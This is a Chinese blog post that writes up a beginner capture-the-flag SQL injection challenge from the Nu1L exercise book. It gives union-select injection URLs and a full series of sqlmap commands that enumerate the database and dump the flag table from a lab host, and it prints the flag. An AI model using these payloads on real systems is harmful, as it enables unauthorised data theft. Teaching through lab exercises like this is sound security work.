nu1L-web-low-3

题目描述

题目来源于Nuil战队从0到1 CTFer成长之路配套习题第一题,题目地址:

https://book.nu1l.com/tasks/#/pages/web/1.2

题目Flag:

n1book{union_select_is_so_cool}

Writeup

开启环境后,访问80端口页面如下:

image

手工注入

判断注入类型

输入id=2-1和2发现结果相同判断不是数字型注入

image

image

输入id=2' 发现页面无回显,输入id =2' %23发现页面有回显判断为字符型注入

image

image

对id参数进行联合注入看回显位,发现2,3位回显

image

查当前数据库以及当前用户信息

image

根据已知数据库名,查询该数据库中的表名

http://110.40.171.181/index.php?id=-2' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23

image

根据已知数据库名和表名查询该表中的列名

http://110.40.171.181/index.php?id=-2' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema=database()),3%23

image

根据列名得到最终flag

http://110.40.171.181/index.php?id=-2' union select 1,(select fllllag from fl4g),3%23

image

SQLMAP测试

检测注入点判断存在布尔盲注,mysql联合注入,mysql时间盲注

python2 .\sqlmap.py -u http://110.40.171.181/index.php?id=1 -p id

image

获取数据库信息,当前数据库名note

python2 .\sqlmap.py -u http://110.40.171.181/index.php?id=1 -p id --current-db

image

获取note数据库中的数据表名,获取到的表有两张,fl4g和notes

python2 .\sqlmap.py -u http://110.40.171.181/index.php?id=1 -p id -D note --tables

image

根据数据库名和数据库表名获取数据表中的列名,当前fl4g表中列名为fllllag

 python2 .\sqlmap.py -u http://110.40.171.181/index.php?id=1 -p id -D note -T fl4g --columns

image

根据获得到的列名去获得这列的信息,得到最终flag

 python2 .\sqlmap.py -u http://110.40.171.181/index.php?id=1 -p id -D note -T fl4g -C fllllag --dump

image

posted @ 2022-04-16 17:04  墨宸  阅读(13)  评论(0)    收藏  举报